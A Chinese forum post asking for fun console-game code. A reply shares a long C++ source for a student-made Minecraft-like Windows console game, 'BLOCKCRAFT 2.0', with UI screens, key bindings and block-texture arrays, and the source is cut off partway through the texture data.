初级守护
本人已知代码:
1.斗破苍穹。
2.数学大冒险
3.打击敌人【小李工作室】
4.铭心篮球【小李工作室】
5.武林盟主竞选战
还有没有什么好玩的代码?
张浩淼在2023-01-10 10:30:10追加了内容
送个小代码:
#include <iostream>
#include <fstream>
#include <cstdlib>
#include <iomanip>
#include <time.h>
#include <windows.h>
#include <pthread.h>
#include <conio.h>
#include <vector>
#include <map>
#define CgDu 5000
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME)&0x8000)?1:6)
/*
0=黑色
1=蓝色
2=绿色
3=湖蓝色
4=红色
5=紫色
6=**
7=白色
8=灰色
9=淡蓝色
A=淡绿色
B=淡浅绿色
C=淡红色
D=淡紫色
E=淡黄
F=亮白色
*/
using namespace std;
int gold=6;
int diamond=1;
HANDLE hout = GetStdHandle(STD_OUTPUT_HANDLE), hsout;
HWND hwnd = GetConsoleWindow();
string xs;
char KD[128];
//基**操作函数
POINT GetMouse() {
/* HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
CONSOLE_FONT_INFO font;
GetCurrentConsoleFont(handle, FALSE, &font);
int DPI = GetDeviceCaps(GetDC(NULL), LOGPIXELSX);
double Zoom = DPI * 1.0 / 24 * 25.0 / 100.0;
p.x /= font.dwFontSize.X * Zoom;
p.y /= font.dwFontSize.Y * Zoom;*/
POINT p;
GetCursorPos(&p);
ScreenToClient(hwnd, &p);
return p;
}
void gotoxy(short x, short y) { //移动光标函数
COORD coord = {x, y};
SetConsoleCursorPosition(hout, coord);
}
void cursor(bool visible) { //控制光标函数
CONSOLE_CURSOR_INFO CursorInfo;
GetConsoleCursorInfo(hout, &CursorInfo);
CursorInfo.bVisible = visible;
SetConsoleCursorInfo(hout, &CursorInfo);
}
void color(int ForgC, int BackC) { //设置颜色函数
WORD wColor = ((BackC & 0x0F) << 4) + (ForgC & 0x0F);
SetConsoleTextAttribute(hout, wColor);
}
void generation(int);
WORD get_font(int ForgC, int BackC) { //获取字体颜色参数
return ((BackC & 0x0F) << 4) + (ForgC & 0x0F);
}
void color(int ForgC) {
WORD wColor;
CONSOLE_SCREEN_BUFFER_INFO csbi;
if (GetConsoleScreenBufferInfo(hout, &csbi)) {
wColor = (csbi.wAttributes & 0xF0) + (ForgC & 0x0F);
SetConsoleTextAttribute(hout, wColor);
}
}
void nofastedit() { //关闭快速编辑
HANDLE hStdin = GetStdHandle(STD_INPUT_HANDLE);
DWORD mode;
GetConsoleMode(hStdin, &mode);
mode &= ~ENABLE_QUICK_EDIT_MODE;
mode &= ~ENABLE_INSERT_MODE;
mode &= ~ENABLE_MOUSE_INPUT;
SetConsoleMode(hStdin, mode);
}
COORD home_coord = {0, 0};
DWORD written;
void write(const char *str, int ssize) { //快速渲染
WriteConsoleOutputCharacterA(hout, str, ssize, home_coord, &written);
}
void writefont(const WORD *font, int fsize) { //快速渲染颜色信息
WriteConsoleOutputAttribute(hout, font, fsize, home_coord, &written);
}
bool keydown(int key) { //判断键状态
return GetAsyncKeyState(key);
}
bool keyup(int key){
if(KD[key]==0){
if(keydown(key)){
KD[key]=1;
}
return 0;
}else{
if(keydown(key)){
return 0;
}
KD[key]=0;
return 1;
}
}
int setfontsize(int x, int y) { //设置字体大小
CONSOLE_FONT_INFOEX cfi;
GetCurrentConsoleFontEx(hout, FALSE, &cfi);
cfi.cbSize = sizeof(cfi);
cfi.nFont = 0;
cfi.dwFontSize.X = x;
cfi.dwFontSize.Y = y;
cfi.FontFamily = FF_DONTCARE;
cfi.FontWeight = 400;
wcscpy(cfi.FaceName, L"NSimSun");
return SetCurrentConsoleFontEx(hout, TRUE, &cfi);
}
int rand(int a, int b) { //rand()随机数
return (rand() % (b - a + 1)) + a;
}
void swrite(string str) { //输出到设置缓冲区
WriteConsoleA(hsout, str.c_str(), str.size(), NULL, NULL);
}
bool access(string name) { //判断文件是否存在
ifstream f(name.c_str());
return f.good();
}
int nozero(int k) {
if (k < 0) {
return 0;
} else {
return k;
}
}
char order; //获取玩家输入的指令字符
void c_olor(int corcorcor){ //颜色函数(效率比cmd高一些)
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),corcorcor);
}
void Line(string str,bool m=1){ //居中对齐函数
int i,l,w;
w=80;
l=str.length();
for(i=0;i<(w-l)/2;i++)
cout<<" ";
cout<<str;if(m)cout<<endl;
return ;
}
bool UIing=true;
void UI() {
system("cls");
color(1);
system("cls");
system("color 0f");
cout<<endl;
color(1);
Line("B ",0);
cout<<"\b\b\b\b\b\b\b\b\b\b\b\b\b\b";
color(2);
cout<<"L";
color(3);
cout<<"O";
color(4);
cout<<"C";
color(5);
cout<<"K";
color(6);
cout<<"C";
color(7);
cout<<"R";
color(8);
cout<<"A";
color(9);
cout<<"F";
color(10);
cout<<"T";
color(11);
cout<<" ";
color(12);
cout<<"2";
color(13);
cout<<".";
color(14);
cout<<"0";
cout<<endl;
cout<<endl<<endl;
color(249);
Line(" 开发组团队\n");
color(7);
Line("核心程序/外观设计 陈俊霖");
Line("项目原作 薛乘志");
Line("最新版本负责人 陈俊霖");
Line("UI制作 沙宸安");
Line("");
cout<<endl;
color(249);
Line(" 特别鸣谢名单\n");
color(7);
Line(" 注:以上排名不分先后\n");
cout<<endl;
Line("吴庞茂旭 王 子 逸 刘 英 杰 杜 文 博 侯 平 仄");
Line("欧阳语聪 张 帆 赵 逸 凡 赵 奕 帆 陈 曦");
Line("许 金 夫 江 齐 悦 孔 小 川 宣 海 宁 王 子 耀");
Line("陈 喆 鹏 包 涵 宇 潘 孝 宇 曹 灿 阳 朱 优 扬");
Line("郑 泓 毅 陈 家 傲 李 玥 仑 赵 泰 来 薛 乘 志");
Line("黄 子 阳 朱 瑾 文 丁 博 扬 汪 子 谦 王 旭 杰");
Line("杜 坤 锴 沙 宸 安 许 梦 琪 焦 先 熠");
// Line("沙 宸 安");
color(252);
cout<<endl;
Line("注:所有在鸣谢名单上的人可以申请移出。");
color(7);
Line("[1/2]");
Line("G-切换下一页");
while(order!='G' && order!='g') {
order=getch();
}
system("cls");
color(3);
system("cls");
cout<<endl;
color(1);
Line("B ",0);
cout<<"\b\b\b\b\b\b\b\b\b\b\b\b\b\b";
color(2);
cout<<"L";
color(3);
cout<<"O";
color(4);
cout<<"C";
color(5);
cout<<"K";
color(6);
cout<<"C";
color(7);
cout<<"R";
color(8);
cout<<"A";
color(9);
cout<<"F";
color(10);
cout<<"T";
color(11);
cout<<" ";
color(12);
cout<<"2";
color(13);
cout<<".";
color(14);
cout<<"0";
color(15);
cout<<endl;
cout<<endl<<endl;
color(249);
Line(" 本版本更新内容\n");
color(7);
Line("这是BLOCKCRAFT的第3个版本");
Line("本版本更新内容如下:");
cout<<endl;
Line("");
Line("增加充能铁轨和沙漠");
Line("");
Line("SUPERCRAFT正式更名为BLOCKCRAFT");
Line("");
cout<<endl;
color(252);
Line(" BLOCKCRAFT开发组团队预祝您游玩愉快!\n");
cout<<endl;
color(7);
Line("[2/2]");
Line("S-开始游戏");
color(249);
cout<<"\n";
Line(" 版权声明\n");
color(7);
Line("本游戏由EX-HSFX制作");
Line("版权所有 未经授权严禁转载 保留所有权利");
Line("Copyright XAscience All Rights Reserved");
while(order!='S' && order!='s') {
order=getch();
}
bool fl=1;
while(order!='O' && order!='o') {
if(fl==1) {
system("cls");
color(240);
system("cls");
cout<<endl;
color(7);
cout<<"\n\n\n\n\n\n";
color(240);
cout<<" ";
c_olor(240);
cout<<"F-单人游戏(进入后不可退出)\n";
c_olor(7);
cout<<endl;
c_olor(7);
cout<<" ";
c_olor(240);
cout<<" H-个人中心 \n";
c_olor(7);
cout<<"\n ";
c_olor(240);
cout<<" J-教程 ";
c_olor(7);
cout<<" ";
c_olor(240);
cout<<" O-退出 ";
c_olor(7);
cout<<"\n\n\n\n\n\n\n\n";
Line("UI界面由兴安科技(沙宸安)提供");
Line(" Copyright XAscience Do not distribute!");
fl=0;
}
order=getch();
if(order=='F' || order=='f') {
system("cls");
return;
}
if(order=='H' || order=='h') {
}
if(order=='J' || order=='j') {
system("cls");
cout<<
"┌─────┬─────┬─────┬─────┬─────┬─────┬─────┬─────┬─────┬─────┬─────┬─────┐\n"<<
"│ 1 │ 2 │ 3 │ 4 │ 5 │ 6 │ 7 │ 8 │ 9 │ 0 │ — │ + │ \n"<<
"│ │ │ │挖掘 │挖掘 │挖掘 │背包 │背包 │微调 │微调 │ - │ = │\n"<<
"└────┬┴────┬┴────┬┴────┬┴────┬┴────┬┴────┬┴────┬┴────┬┴────┬┴────┬┴────┬┴────┐\n"<<
" │ Q │ W │ E │ R │ T │ Y │ U │ I │ O │ P │ { │ } │\n"<<
" │ │移动 │ │挖掘 │转身 │挖掘 │ │ │ │ │ [ │ ] │\n"<<
" └┬────┴┬────┴┬────┴┬────┴┬────┴┬────┴┬────┴┬────┴┬────┴┬────┴┬────┴┬────┘\n"<<
" │ A │ S │ D │ F │ G │ H │ J │ K │ L │ : │ \" │\n"<<
" │移动 │ │移动 │挖掘 │交互 │挖掘 │ │ │ │ ; │ \' │\n"<<
" └───┬─┴───┬─┴───┬─┴───┬─┴───┬─┴───┬─┴───┬─┴───┬─┴───┬─┴───┬─┴───┬─┘\n"<<
" │ Z │ X │ C │ V │ B │ N │ M │ < │ > │ ? │\n"<<
" │退出 │ │ │挖掘 │挖掘 │挖掘 │ │ , │ . │ / │\n"<<
" └─────┴─────┴─────┴─────┴─────┴─────┴─────┴─────┴─────┴─────┘\n";
Line("1. 挖掘速度被减慢,用钻石镐等镐子可以加快速度");
Line("2. 矿车上用ADS2移动,W下车");
cout<<"\n\n\n\n";
Line("按K退出此界面");
while(order!='k'&&order!='K')order=getch();
fl=1;
}
}
Sleep(1000);
exit(0);
return ;
}
bool jianzao;
int on_car;
//常量
int blocks[1000][10][10] = {
{
//0:air(空气)
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
},
{
//1:grass_block(草方块)
{2, 10, 2, 10, 2, 10, 2, 10, 2, 10},
{10, 2, 10, 2, 10, 2, 10, 2, 10, 2},
{2, 6, 2, 6, 2, 6, 2, 6, 2, 6},
{6, 6, 6, 6, 6, 6, 6, 6, 6, 6},
{6, 6, 6, 6, 6, 6, 6, 6, 6, 6},
{6, 6, 6, 6, 6, 6, 6, 6, 6, 6},
{6, 6, 6, 6, 6, 6, 6, 6, 6, 6},
{6, 6, 6, 6, 6, 6, 6, 6, 6, 6},
{6, 6, 6, 6, 6, 6, 6, 6, 6, 6},
{6, 6, 6, 6, 6, 6, 6, 6, 6, 6}
},
{
//2:dirt(泥土)
{6, 6, 6, 6, 6, 6, 6, 6, 6, 6},
{6, 6, 6, 6, 6, 6, 6, 6, 6, 6},
{6, 6, 6, 6, 6, 6, 6, 6, 6, 6},
{6, 6, 6, 6, 6, 6, 6, 6, 6, 6},
{6, 6, 6, 6, 6, 6, 6, 6, 6, 6},
{6, 6, 6, 6, 6, 6, 6, 6, 6, 6},
{6, 6, 6, 6, 6, 6, 6, 6, 6, 6},
{6, 6, 6, 6, 6, 6, 6, 6, 6, 6},
{6, 6, 6, 6, 6, 6, 6, 6, 6, 6},
{6, 6, 6, 6, 6, 6, 6, 6, 6, 6}
},
{
//3:stone(石头)
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
},
{
//4:none(基岩)
{0, 8, 0, 8, 0, 8, 0, 8, 0, 8},
{8, 0, 8, 0, 8, 0, 8, 0, 8, 0},
{0, 8, 0, 8, 0, 8, 0, 8, 0, 8},
{8, 0, 8, 0, 8, 0, 8, 0, 8, 0},
{0, 8, 0, 8, 0, 8, 0, 8, 0, 8},
{8, 0, 8, 0, 8, 0, 8, 0, 8, 0},
{0, 8, 0, 8, 0, 8, 0, 8, 0, 8},
{8, 0, 8, 0, 8, 0, 8, 0, 8, 0},
{0, 8, 0, 8, 0, 8, 0, 8, 0, 8},
{8, 0, 8, 0, 8, 0, 8, 0, 8, 0},
},
{
//5:water(水)
{9, 9, 9, 9, 9, 9, 9, 9, 9, 9},
{9, 9, 9, 9, 9, 9, 9, 9, 9, 9},
{9, 9, 9, 9, 9, 9, 9, 9, 9, 9},
{9, 9, 9, 9, 9, 9, 9, 9, 9, 9},
{9, 9, 9, 9, 9, 9, 9, 9, 9, 9},
{9, 9, 9, 9, 9, 9, 9, 9, 9, 9},
{9, 9, 9, 9, 9, 9, 9, 9, 9, 9},
{9, 9, 9, 9, 9, 9, 9, 9, 9, 9},
{9, 9, 9, 9, 9, 9, 9, 9, 9, 9},
{9, 9, 9, 9, 9, 9, 9, 9, 9, 9}
},
{
//6:原木
{0, 6, 6, 0, 6, 14, 6, 0, 6, 14},
{0, 14, 6, 0, 14, 0, 14, 6, 0, 14},
{0, 14, 6, 0, 14, 0, 14, 6, 0, 6},
{14, 6, 0, 14, 6, 0, 14, 6, 0, 14},
{6, 14, 6, 6, 14, 6, 6, 6, 0, 14},
{6, 0, 6, 0, 14, 6, 0, 6, 6, 14},
{6, 0, 14, 0, 14, 6, 0, 6, 14, 6},
{14, 0, 14, 6, 0, 14, 6, 0, 14, 0},
{14, 0, 6, 14, 0, 14, 6, 14, 14, 0},
{6, 14, 6, 14, 0, 6, 14, 6, 14, 0}
},
{
//7:树叶
{10, 2, 15, 10, 2, 15, 10, 2, 15, 10},
{10, 15, 10, 15, 15, 10, 15, 2, 10, 2},
{15, 10, 15, 10, 2, 15, 10, 15, 15, 10},
{10, 2, 15, 10, 15, 10, 15, 10, 2, 15},
{10, 15, 10, 15, 10, 15, 2, 2, 15, 10},
{2, 15, 2, 10, 2, 15, 10, 15, 10, 2},
{15, 10, 15, 10, 15, 10, 15, 2, 15, 10},
{10, 10, 10, 15, 10, 2, 15, 10, 2, 10},
{15, 2, 15, 10, 10, 15, 10, 2, 10, 15},
{10, 10, 10, 2, 15, 10, 15, 15, 10, 2}
}
,{
//8:iron
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8,8, 8, 7,7, 8, 8, 8},
{8, 8, 7, 7, 8, 8, 8, 8, 8, 8},
{7, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8,8, 7, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 7, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 7, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
}
,{
//9:diamond
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8,8, 8, diamond,diamond, 8, 8, 8},
{8, 8, diamond, diamond, 8, 8, 8, 8, 8, 8},
{diamond, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8,8, diamond, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, diamond, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, diamond, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
}
,{
//10:gold
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8,8, 8, gold,gold, 8, 8, 8},
{8, 8, gold, gold, 8, 8, 8, 8, 8, 8},
{gold, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8,8, gold, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, gold, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, gold, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
},
{//11、木板
{14,14,0,14,14,14,0,14,14,14},
{14,14,0,14,14,14,0,14,14,14},
{14,14,0,14,14,14,0,14,14,14},
{14,14,0,14,14,14,0,14,14,14},
{14,14,0,14,14,14,0,14,14,14},
{14,14,0,14,14,14,0,14,14,14},
{14,14,0,14,14,14,0,14,14,14},
{14,14,0,14,14,14,0,14,14,14},
{14,14,0,14,14,14,0,14,14,14},
{14,14,0,14,14,14,0,14,14,14},
},{//12、工作台
{15,15,15,15,15,15,15,15,15,15},
{0,0,0,0,0,0,0,0,0,0},
{0,14,14,14,14,14,14,14,14,0},
{0,0,0,0,0,0,0,0,0,0},
{15,0,14,0,15,15,0,14,0,15},
{15,0,14,0,15,15,0,14,0,15},
{15,0,14,0,15,15,0,14,0,15},
{15,0,14,0,15,15,0,14,0,15},
{15,0,14,0,15,15,0,14,0,15},
{15,0,0,0,15,15,0,0,0,15},
}
,{
//13:煤炭
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8,8, 8, 0,0, 8, 8, 8},
{8, 8, 0, 0, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8,8, 0, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 0, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 0, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
},{
//14:钻块
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 1, 1, 1, 1, 1, 1, 1, 1, 0},
{0, 1, 1, 1, 1, 1, 1, 1, 1, 0},
{0, 1, 1, 1, 1, 1, 1, 1, 1, 0},
{0, 1, 1, 1, 1, 1, 1, 1, 1, 0},
{0, 1, 1, 1, 1, 1, 1, 1, 1, 0},
{0, 1, 1, 1, 1, 1, 1, 1, 1, 0},
{0, 1, 1, 1, 1, 1, 1, 1, 1, 0},
{0, 1, 1, 1, 1, 1, 1, 1, 1, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
}
,{
//15:熔炉
{0, 0,0,0, 0, 0, 0, 0, 0, 0},
{0, 8,8,8, 8, 8, 8, 8, 8, 0},
{0, 8,8,8, 8, 8, 8, 8, 8, 0},
{0, 8,8,8, 8, 8, 8, 8, 8, 0},
{0, 0,0,0, 0, 0, 0, 0, 0, 0},
{0, 8,8,8, 8, 8, 8, 8, 8, 0},
{0, 8,8,0, 0, 0, 0, 8, 8, 0},
{0, 8,8,0, 8, 8,0, 8, 8, 0},
{0, 8,8,0, 8, 8, 0, 8, 8, 0},
{0, 0,0,0, 0, 0, 0, 0,0, 0}
},{
//16:铁锭
{15,15,15,15,15,15,15,15,15,15},
{15,15,15,15,15,15,15,15,15,15},
{ 0, 0, 0, 0, 0, 0, 0, 0,15,15},
{ 0, 0, 7, 7, 7, 7, 7, 7, 0,15},
{ 0, 7, 0, 0, 0, 0, 0, 0, 0, 0},
{15, 0, 0, 7, 7, 7, 7, 7, 7, 0},
{15,15, 0, 0, 0, 0, 0, 0, 0, 0},
{15,15,15,15,15,15,15,15,15,15},
{15,15,15,15,15,15,15,15,15,15},
{15,15,15,15,15,15,15,15,15,15}
},{
//17:金锭
{15,15,15,15,15,15,15,15,15,15},
{15,15,15,15,15,15,15,15,15,15},
{ 0, 0, 0, 0, 0, 0, 0, 0,15,15},
{ 0, 0, 6, 6, 6, 6, 6, 6, 0,15},
{ 0, 6, 0, 0, 0, 0, 0, 0, 0, 0},
{15, 0, 0, 6, 6, 6, 6, 6, 6, 0},
{15,15, 0, 0, 0, 0, 0, 0, 0, 0},
{15,15,15,15,15,15,15,15,15,15},
{15,15,15,15,15,15,15,15,15,15},
{15,15,15,15,15,15,15,15,15,15}
},{
//18:铁块
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 7, 7, 7, 7, 7, 7, 7, 7, 0},
{0, 7, 7, 7, 7, 7, 7, 7, 7, 0},
{0, 7, 7, 7, 7, 7, 7, 7, 7, 0},
{0, 7, 7, 7, 7, 7, 7, 7, 7, 0},
{0, 7, 7, 7, 7, 7, 7, 7, 7, 0},
{0, 7, 7, 7, 7, 7, 7, 7, 7, 0},
{0, 7, 7, 7, 7, 7, 7, 7, 7, 0},
{0, 7, 7, 7, 7, 7, 7, 7, 7, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
},{
//19:金块
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{0, 6, 6, 6, 6, 6, 6, 6, 6, 0},
{0, 6, 6, 6, 6, 6, 6, 6, 6, 0},
{0, 6, 6, 6, 6, 6, 6, 6, 6, 0},
{0, 6, 6, 6, 6, 6, 6, 6, 6, 0},
{0, 6, 6, 6, 6, 6, 6, 6, 6, 0},
{0, 6, 6, 6, 6, 6, 6, 6, 6, 0},
{0, 6, 6, 6, 6, 6, 6, 6, 6, 0},
{0, 6, 6, 6, 6, 6, 6, 6, 6, 0},
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0}
},{
//20:木棍
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 4, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 4, 15, 15, 15, 15},
{15, 15, 15, 15, 4, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 4, 15, 15, 15, 15, 15},
{15, 15, 15, 4, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 4, 15, 15, 15, 15, 15, 15},
{15, 15, 4, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 4, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
},{
//21:木镐
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 0, 0, 0, 15, 15, 15, 15},
{15, 15, 15, 0, 14, 14, 0, 15, 15, 15},
{15, 15, 15, 0, 0, 0, 14, 0, 15, 15},
{15, 15, 15, 15, 0, 4, 0, 14, 0, 15},
{15, 15, 15, 0, 4, 0, 0, 14, 0, 15},
{15, 15, 0, 4, 0, 15, 0, 0, 0, 15},
{15, 0, 4, 0, 15, 15, 15, 15, 15, 15},
{15, 0, 0, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
}
,{
//22:木镐
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 0, 0, 0, 15, 15, 15, 15},
{15, 15, 15, 0, 8, 8, 0, 15, 15, 15},
{15, 15, 15, 0, 0, 0, 8, 0, 15, 15},
{15, 15, 15, 15, 0, 4, 0, 8, 0, 15},
{15, 15, 15, 0, 4, 0, 0, 8, 0, 15},
{15, 15, 0, 4, 0, 15, 0, 0, 0, 15},
{15, 0, 4, 0, 15, 15, 15, 15, 15, 15},
{15, 0, 0, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
},{
//23:铁镐
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 0, 0, 0, 15, 15, 15, 15},
{15, 15, 15, 0, 7, 7, 0, 15, 15, 15},
{15, 15, 15, 0, 0, 0, 7, 0, 15, 15},
{15, 15, 15, 15, 0, 4, 0, 7, 0, 15},
{15, 15, 15, 0, 4, 0, 0, 7, 0, 15},
{15, 15, 0, 4, 0, 15, 0, 0, 0, 15},
{15, 0, 4, 0, 15, 15, 15, 15, 15, 15},
{15, 0, 0, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
},{
//24:钻镐
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 0, 0, 0, 15, 15, 15, 15},
{15, 15, 15, 0, 1, 1, 0, 15, 15, 15},
{15, 15, 15, 0, 0, 0, 1, 0, 15, 15},
{15, 15, 15, 15, 0, 4, 0, 1, 0, 15},
{15, 15, 15, 0, 4, 0, 0, 1, 0, 15},
{15, 15, 0, 4, 0, 15, 0, 0, 0, 15},
{15, 0, 4, 0, 15, 15, 15, 15, 15, 15},
{15, 0, 0, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
},{
//25:单独矿车
{15, 0, 0, 0, 0, 0, 0, 0, 0, 15},
{15, 0, 7, 7, 7, 7, 7, 7, 0, 15},
{15, 0, 7, 7, 7, 7, 7, 7, 0, 15},
{15, 0, 7, 7, 7, 7, 7, 7, 0, 15},
{15, 0, 7, 7, 7, 7, 7, 7, 0, 15},
{15, 0, 0, 0, 0, 0, 0, 0, 0, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
},{
//26:轨道
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{ 7, 7, 7, 7, 7, 7, 7, 7, 7, 7},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{15, 4, 15, 4, 15, 15, 4, 15, 4, 15},
},{
//27:轨道加矿车
{15, 0, 0, 0, 0, 0, 0, 0, 0, 15},
{15, 0, 7, 7, 7, 7, 7, 7, 0, 15},
{15, 0, 7, 7, 7, 7, 7, 7, 0, 15},
{15, 0, 7, 7, 7, 7, 7, 7, 0, 15},
{15, 0, 7, 7, 7, 7, 7, 7, 0, 15},
{15, 0, 0, 0, 0, 0, 0, 0, 0, 15},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{ 7, 7, 7, 7, 7, 7, 7, 7, 7, 7},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{15, 4, 15, 4, 15, 15, 4, 15, 4, 15},
},
{
//28:r-l台阶
{8, 8, 8, 8, 8, 15, 15, 15, 15, 15},
{8, 8, 8, 8, 8, 15, 15, 15, 15, 15},
{8, 8, 8, 8, 8, 15, 15, 15, 15, 15},
{8, 8, 8, 8, 8, 15, 15, 15, 15, 15},
{8, 8, 8, 8, 8, 15, 15, 15, 15, 15},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
},
{
//29:l-r台阶
{15, 15, 15, 15, 15,8, 8, 8, 8, 8},
{15, 15, 15, 15, 15,8, 8, 8, 8, 8},
{15, 15, 15, 15, 15,8, 8, 8, 8, 8},
{15, 15, 15, 15, 15,8, 8, 8, 8, 8},
{15, 15, 15, 15, 15,8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
{8, 8, 8, 8, 8, 8, 8, 8, 8, 8},
},{
//30:充能轨道
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{15, 15, 15, 15, 15, 15, 15, 15, 15, 15},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{ 6, 6, 6, 6, 6, 6, 6, 6, 6, 6},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{15, 4, 15, 4, 15, 15, 4, 15, 4, 15},
},{
//31:充能轨道加矿车
{15, 0, 0, 0, 0, 0, 0, 0, 0, 15},
{15, 0, 7, 7, 7, 7, 7, 7, 0, 15},
{15, 0, 7, 7, 7, 7, 7, 7, 0, 15},
{15, 0, 7, 7, 7, 7, 7, 7, 0, 15},
{15, 0, 7, 7, 7, 7, 7, 7, 0, 15},
{15, 0, 0, 0, 0, 0, 0, 0, 0, 15},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{ 6, 6, 6, 6, 6, 6, 6, 6, 6, 6},
{ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0},
{15, 4, 15, 4, 15, 15, 4, 15, 4, 15},
},{
//32:仙人掌
